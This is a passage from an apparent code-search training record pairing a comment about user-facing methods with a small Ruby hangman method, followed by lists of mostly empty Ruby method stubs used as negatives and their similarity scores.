"def random_number_max(msg, maximum)\n return if Variables::Constants::IGNORED_USERS.include?(msg.user.nick)\n number = rand(maximum.to_i)\n @last_numbers = [] if @last_numbers.nil?\n number = rand(maximum.to_i) while @last_numbers.include?(number)\n @last_numbers.prepend_capped(number, 5)\n number.to_s.separate if number > 999\n msg.reply(number)\n end",
"def limit; end",
"def limit; end",
"def limit; end",
"def remaining_players\n losses.count { |_, v| v < MAX_LOSS_COUNT}\n end"
] | [
"0.73779637",
"0.69830453",
"0.6855155",
"0.68487716",
"0.66632986",
"0.66460335",
"0.66279846",
"0.6550518",
"0.65471596",
"0.65455335",
"0.6538615",
"0.64914024",
"0.6479974",
"0.6479974",
"0.64745444",
"0.6405938",
"0.63665056",
"0.63659036",
"0.63643223",
"0.6349223",
"0.6349223",
"0.6349223",
"0.63381356",
"0.63338083",
"0.6332045",
"0.6299195",
"0.6292361",
"0.62902486",
"0.6286256",
"0.62800115",
"0.62717515",
"0.6259754",
"0.62424284",
"0.6210405",
"0.6210039",
"0.6205206",
"0.6205206",
"0.62006795",
"0.6197183",
"0.61842924",
"0.6181389",
"0.616809",
"0.61666197",
"0.61564755",
"0.6149295",
"0.6130468",
"0.6128718",
"0.6107532",
"0.6106037",
"0.6088348",
"0.60749817",
"0.6071151",
"0.6060981",
"0.6039657",
"0.60327446",
"0.60243464",
"0.6015804",
"0.6008652",
"0.60058206",
"0.6004926",
"0.600445",
"0.5999927",
"0.59951836",
"0.5995122",
"0.5988901",
"0.5988901",
"0.5970161",
"0.5968379",
"0.59574693",
"0.59555644",
"0.5948344",
"0.5941203",
"0.5925566",
"0.59253955",
"0.5906863",
"0.59000593",
"0.5898498",
"0.58943254",
"0.58934623",
"0.58784574",
"0.5863225",
"0.5856482",
"0.5844965",
"0.5832922",
"0.5832333",
"0.5829069",
"0.5827059",
"0.5823213",
"0.58124065",
"0.5809929",
"0.58095264",
"0.5798211",
"0.57970643",
"0.5793741",
"0.576938",
"0.5768433",
"0.5765987",
"0.5765456",
"0.5765456",
"0.5765456",
"0.576089"
] | 0.0 | -1 |
These methods are created so I can include them in the response to the user. Should make it a litle interesting ;) | def right_leg(g_tally)
if g_tally == 1
puts "you have lost your right leg"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def private; end",
"def respond(); end",
"def who_we_are\r\n end",
"def probers; end",
"def formation; end",
"def weber; end",
"def custom; end",
"def custom; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def extra; end",
"def methods() end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def operations; end",
"def operations; end",
"def apis; end",
"def schubert; end",
"def render_calls; end",
"def helpers; end",
"def helpers; end",
"def helpers; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def informational?; end",
"def suivre; end",
"def overrides; end",
"def prapor_quest; end",
"def notations; end",
"def implementation; end",
"def implementation; end",
"def romeo_and_juliet; end",
"def parslets; end",
"def specialty; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def jack_handey; end",
"def calls; end",
"def calls; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def render; end",
"def render; end",
"def render; end",
"def render; end",
"def render; end",
"def response_parser; end",
"def how_it_works\r\n end",
"def content_methods; end",
"def formats; end",
"def formats; end",
"def details; end",
"def respond\n end",
"def herebody_s; end",
"def zuruecksetzen()\n end",
"def rendered; end",
"def formatters; end",
"def anchored; end",
"def appraisals; end",
"def appraisals; end",
"def terpene; end",
"def rest_positionals; end",
"def simple_blind_ror\n \n end",
"def coming_soon\n end",
"def coming_soon\n end",
"def errors; end",
"def errors; end",
"def errors; end",
"def errors; end",
"def errors; end",
"def errors; end",
"def errors; end",
"def errors; end",
"def errors; end",
"def wrapper; end"
] | [
"0.6831467",
"0.6559056",
"0.64254284",
"0.6265983",
"0.6159022",
"0.6110158",
"0.6084273",
"0.6084273",
"0.60697305",
"0.60697305",
"0.60697305",
"0.60697305",
"0.6004596",
"0.59772474",
"0.59358495",
"0.59358495",
"0.59358495",
"0.59358495",
"0.59358495",
"0.59358495",
"0.59358495",
"0.59358495",
"0.59358495",
"0.59358495",
"0.59358495",
"0.59358495",
"0.59358495",
"0.5933168",
"0.5933168",
"0.592204",
"0.5917139",
"0.59072775",
"0.58998024",
"0.58998024",
"0.58998024",
"0.5887361",
"0.5887361",
"0.5887361",
"0.5887361",
"0.5865132",
"0.5805764",
"0.580006",
"0.57700306",
"0.57692486",
"0.5736773",
"0.5736773",
"0.5715663",
"0.5694647",
"0.5685743",
"0.5663941",
"0.5663941",
"0.5663941",
"0.5663941",
"0.5663941",
"0.5663941",
"0.5663941",
"0.5663941",
"0.5663941",
"0.5663941",
"0.5663941",
"0.5663406",
"0.5656675",
"0.5656675",
"0.5619562",
"0.5619562",
"0.5619562",
"0.5619562",
"0.56080306",
"0.56080306",
"0.56080306",
"0.56080306",
"0.56080306",
"0.56042767",
"0.5601823",
"0.5586388",
"0.55699366",
"0.55699366",
"0.5564482",
"0.55559826",
"0.5529288",
"0.55216175",
"0.551869",
"0.54804736",
"0.54762197",
"0.54728127",
"0.54728127",
"0.54692686",
"0.5458124",
"0.5451288",
"0.5451261",
"0.5451261",
"0.544626",
"0.544626",
"0.544626",
"0.544626",
"0.544626",
"0.544626",
"0.544626",
"0.544626",
"0.544626",
"0.5443843"
] | 0.0 | -1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.